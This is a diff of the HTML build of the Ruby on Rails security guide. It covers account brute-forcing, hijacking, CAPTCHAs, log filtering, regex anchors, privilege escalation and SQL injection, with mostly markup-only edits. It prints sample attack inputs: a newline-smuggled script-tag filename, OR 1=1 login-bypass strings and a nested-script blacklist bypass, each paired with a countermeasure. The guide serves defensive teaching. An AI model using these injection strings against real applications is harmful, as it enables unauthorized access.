-<div class="para"><p>If the parameter was nil, the resulting SQL query will be</p></div>
+<pre><tt>User<span style="color: #990000">.</span>find_by_activation_code<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span></tt></pre></div></div>
+<div class="paragraph"><p>If the parameter was nil, the resulting SQL query will be</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1</tt></pre>
</div></div>
-<div class="para"><p>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">my blog post</a>. <span style="background-color: #fffcdb;">It is advisable to update your plug-ins from time to time</span>. Moreover, you can review your application to find more flaws like this.</p></div>
+<div class="paragraph"><p>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">my blog post</a>. <span style="background-color: #fffcdb;">It is advisable to update your plug-ins from time to time</span>. Moreover, you can review your application to find more flaws like this.</p></div>
<h3 id="_brute_forcing_accounts">7.1. Brute-forcing accounts</h3>
-<div class="para"><p>&#8212; <em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.</em></p></div>
-<div class="para"><p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.</p></div>
-<div class="para"><p>Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.</p></div>
-<div class="para"><p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p></div>
-<div class="para"><p>In order to mitigate such attacks, <span style="background-color: #fffcdb;">display a generic error message on forgot-password pages, too</span>. Moreover, you can <span style="background-color: #fffcdb;">require to enter a CAPTCHA after a number of failed logins from a certain IP address</span>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p></div>
+<div class="paragraph"><p>-- <em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.</em></p></div>
+<div class="paragraph"><p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don&#8217;t use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name&#8217;s and a dictionary, an automatic program may find the correct password in a matter of minutes.</p></div>
+<div class="paragraph"><p>Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.</p></div>
+<div class="paragraph"><p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p></div>
+<div class="paragraph"><p>In order to mitigate such attacks, <span style="background-color: #fffcdb;">display a generic error message on forgot-password pages, too</span>. Moreover, you can <span style="background-color: #fffcdb;">require to enter a CAPTCHA after a number of failed logins from a certain IP address</span>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p></div>
<h3 id="_account_hijacking">7.2. Account hijacking</h3>
-<div class="para"><p>&#8212; <em>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?</em></p></div>
+<div class="paragraph"><p>-- <em>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?</em></p></div>
<h4 id="_passwords">7.2.1. Passwords</h4>
-<div class="para"><p>Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, <span style="background-color: #fffcdb;">make change-password forms safe against CSRF</span>, of course. And <span style="background-color: #fffcdb;">require the user to enter the old password when changing it</span>.</p></div>
+<div class="paragraph"><p>Think of a situation where an attacker has stolen a user&#8217;s session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim&#8217;s password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, <span style="background-color: #fffcdb;">make change-password forms safe against CSRF</span>, of course. And <span style="background-color: #fffcdb;">require the user to enter the old password when changing it</span>.</p></div>
<h4 id="_e_mail">7.2.2. E-Mail</h4>
-<div class="para"><p>However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure <span style="background-color: #fffcdb;">require the user to enter the password when changing the e-mail address, too</span>.</p></div>
+<div class="paragraph"><p>However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker&#8217;s e-mail address. As a countermeasure <span style="background-color: #fffcdb;">require the user to enter the password when changing the e-mail address, too</span>.</p></div>
<h4 id="_other">7.2.3. Other</h4>
-<div class="para"><p>Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <span style="background-color: #fffcdb;">review your application logic and eliminate all XSS and CSRF vulnerabilities</span>.</p></div>
+<div class="paragraph"><p>Depending on your web application, there may be more ways to hijack the user&#8217;s account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <span style="background-color: #fffcdb;">review your application logic and eliminate all XSS and CSRF vulnerabilities</span>.</p></div>
<h3 id="_captchas">7.3. CAPTCHAs</h3>
-<div class="para"><p>&#8212; <em>A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.</em></p></div>
-<div class="para"><p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="http://ambethia.com/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the API.</p></div>
-<div class="para"><p>You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
+<div class="paragraph"><p>-- <em>A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.</em></p></div>
+<div class="paragraph"><p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="http://ambethia.com/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the API.</p></div>
+<div class="paragraph"><p>You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.</p></div>
-<div class="para"><p>Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.</p></div>
-<div class="para"><p>Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Most bots are really dumb, they crawl the web and put their spam into every form&#8217;s field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.</p></div>
+<div class="paragraph"><p>Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:</p></div>
+<div class="ulist"><ul>
<li>
<p>
position the fields off of the visible area of the page
@@ -894,9 +711,9 @@ leave the fields displayed, but tell humans to leave them blank
</p>
</li>
</ul></div>
-<div class="para"><p>The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p></div>
-<div class="para"><p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder's <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p></div>
+<div class="paragraph"><p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder&#8217;s <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
@@ -913,26 +730,25 @@ Include more than one honeypot field of all types, including submission buttons
</p>
</li>
</ul></div>
-<div class="para"><p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.</p></div>
+<div class="paragraph"><p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.</p></div>
<h3 id="_logging">7.4. Logging</h3>
-<div class="para"><p>&#8212; <em>Tell Rails not to put passwords in the log files.</em></p></div>
-<div class="para"><p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <span style="background-color: #fffcdb;">filter certain request parameters from your log files</span> by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.</p></div>
+<div class="paragraph"><p>-- <em>Tell Rails not to put passwords in the log files.</em></p></div>
+<div class="paragraph"><p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <span style="background-color: #fffcdb;">filter certain request parameters from your log files</span> by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>filter_parameter_logging <span style="color: #990000">:</span>password
-</tt></pre></div></div>
+<pre><tt>filter_parameter_logging <span style="color: #990000">:</span>password</tt></pre></div></div>
<h3 id="_good_passwords">7.5. Good passwords</h3>
-<div class="para"><p>&#8212; <em>Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.</em></p></div>
-<div class="para"><p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analysed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p></div>
-<div class="para"><p>password1, abc123, myspace1, password, blink182, qwerty1, <strong>*</strong>*you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.</p></div>
-<div class="para"><p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p></div>
-<div class="para"><p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <span style="background-color: #fffcdb;">first letters of a sentence that you can easily remember</span>. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p></div>
+<div class="paragraph"><p>-- <em>Do you find it hard to remember all your passwords? Don&#8217;t write them down, but use the initial letters of each word in an easy to remember sentence.</em></p></div>
+<div class="paragraph"><p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analysed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p></div>
+<div class="paragraph"><p>password1, abc123, myspace1, password, blink182, qwerty1, <strong>*</strong>*you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.</p></div>
+<div class="paragraph"><p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today&#8217;s passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p></div>
+<div class="paragraph"><p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <span style="background-color: #fffcdb;">first letters of a sentence that you can easily remember</span>. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p></div>
<h3 id="_regular_expressions">7.6. Regular expressions</h3>
-<div class="para"><p>&#8212; <em>A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.</em></p></div>
-<div class="para"><p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:</p></div>
+<div class="paragraph"><p>-- <em>A common pitfall in Ruby&#8217;s regular expressions is to match the string&#8217;s beginning and end by ^ and $, instead of \A and \z.</em></p></div>
+<div class="paragraph"><p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -940,54 +756,50 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> File <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_format_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/^[\w\.\-\+]+$/</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, <span style="background-color: #fffcdb;">in Ruby ^ and $ matches the <strong>line</strong> beginning and line end</span>. And thus a file name like this passes the filter without problems:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, <span style="background-color: #fffcdb;">in Ruby ^ and $ matches the <strong>line</strong> beginning and line end</span>. And thus a file name like this passes the filter without problems:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>file.txt%0A&lt;script&gt;alert('hello')&lt;/script&gt;</tt></pre>
</div></div>
-<div class="para"><p>Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:</p></div>
+<div class="paragraph"><p>Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #FF6600">/\A[\w\.\-\+]+\z/</span>
-<span style="color: #990000">[</span>source<span style="color: #990000">,</span> ruby<span style="color: #990000">]</span>
-</tt></pre></div></div>
+<span style="color: #990000">[</span>source<span style="color: #990000">,</span> ruby<span style="color: #990000">]</span></tt></pre></div></div>
<h3 id="_privilege_escalation">7.7. Privilege escalation</h3>
-<div class="para"><p>&#8212; <em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p></div>
-<div class="para"><p>The most common parameter that a user might tamper with, is the id parameter, as in <tt>http://www.domain.com/project/1</tt>, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:</p></div>
+<div class="paragraph"><p>-- <em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p></div>
+<div class="paragraph"><p>The most common parameter that a user might tamper with, is the id parameter, as in <tt>http://www.domain.com/project/1</tt>, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, <span style="background-color: #fffcdb;">query the user's access rights, too</span>:</p></div>
+<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span></tt></pre></div></div>
+<div class="paragraph"><p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, <span style="background-color: #fffcdb;">query the user&#8217;s access rights, too</span>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>projects<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <span style="background-color: #fffcdb;">no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</span>.</p></div>
-<div class="para"><p>Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. <span style="background-color: #fffcdb;">JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</span>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p></div>
+<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>projects<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span></tt></pre></div></div>
+<div class="paragraph"><p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <span style="background-color: #fffcdb;">no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</span>.</p></div>
+<div class="paragraph"><p>Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form&#8217;s hidden fields. <span style="background-color: #fffcdb;">JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</span>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p></div>
</div>
<h2 id="_injection">8. Injection</h2>
<div class="sectionbody">
-<div class="para"><p>&#8212; <em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.</em></p></div>
-<div class="para"><p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p></div>
+<div class="paragraph"><p>-- <em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.</em></p></div>
+<div class="paragraph"><p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p></div>
<h3 id="_whitelists_versus_blacklists">8.1. Whitelists versus Blacklists</h3>
-<div class="para"><p>&#8212; <em>When sanitizing, protecting or verifying something, whitelists over blacklists.</em></p></div>
-<div class="para"><p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), <span style="background-color: #fffcdb;">prefer to use whitelist approaches</span>:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>-- <em>When sanitizing, protecting or verifying something, whitelists over blacklists.</em></p></div>
+<div class="paragraph"><p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), <span style="background-color: #fffcdb;">prefer to use whitelist approaches</span>:</p></div>
+<div class="ulist"><ul>
<li>
<p>
-Use before_filter :only &#8658; [&#8230;] instead of :except &#8658; [&#8230;]. This way you don't forget to turn it off for newly added actions.
+Use before_filter :only =&gt; [...] instead of :except =&gt; [...]. This way you don&#8217;t forget to turn it off for newly added actions.
</p>
</li>
<li>
@@ -1002,9 +814,9 @@ Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scrip
</li>
<li>
<p>
-Don't try to correct user input by blacklists:
+Don&#8217;t try to correct user input by blacklists:
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
@@ -1018,199 +830,194 @@ But reject malformed input
</ul></div>
</li>
</ul></div>
-<div class="para"><p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p></div>
+<div class="paragraph"><p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p></div>
<h3 id="_sql_injection">8.2. SQL Injection</h3>
-<div class="para"><p>&#8212; <em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p></div>
+<div class="paragraph"><p>-- <em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p></div>
<h4 id="_introduction_2">8.2.1. Introduction</h4>
-<div class="para"><p>SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p></div>
+<div class="paragraph"><p>SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters <em> OR 1=1</em>, the resulting SQL query will be:</p></div>
+<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>This could be in a search action and the user may enter a project&#8217;s name that he wants to find. If a malicious user enters <em> OR 1=1</em>, the resulting SQL query will be:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>SELECT * FROM projects WHERE name = '' OR 1 --'</tt></pre>
</div></div>
-<div class="para"><p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p></div>
+<div class="paragraph"><p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p></div>
<h4 id="_bypassing_authorization">8.2.2. Bypassing authorization</h4>
-<div class="para"><p>Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p></div>
+<div class="paragraph"><p>Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>User<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #FF0000">"login = '#{params[:name]}' AND password = '#{params[:password]}'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>If an attacker enters <em> OR '1</em>=<em>1 as the name, and </em> OR <em>2</em>&gt;'1 as the password, the resulting SQL query will be:</p></div>
+<pre><tt>User<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #FF0000">"login = '#{params[:name]}' AND password = '#{params[:password]}'"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>If an attacker enters <em> OR '1</em>=<em>1 as the name, and ' OR '2</em>&gt;'1 as the password, the resulting SQL query will be:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1</tt></pre>
</div></div>
-<div class="para"><p>This will simply find the first record in the database, and grants access to this user.</p></div>
+<div class="paragraph"><p>This will simply find the first record in the database, and grants access to this user.</p></div>
<h4 id="_unauthorized_reading">8.2.3. Unauthorized reading</h4>
-<div class="para"><p>The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:</p></div>
+<div class="paragraph"><p>The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let&#8217;s take the example from above:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>And now let's inject another query using the UNION statement:</p></div>
+<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span></tt></pre></div></div>
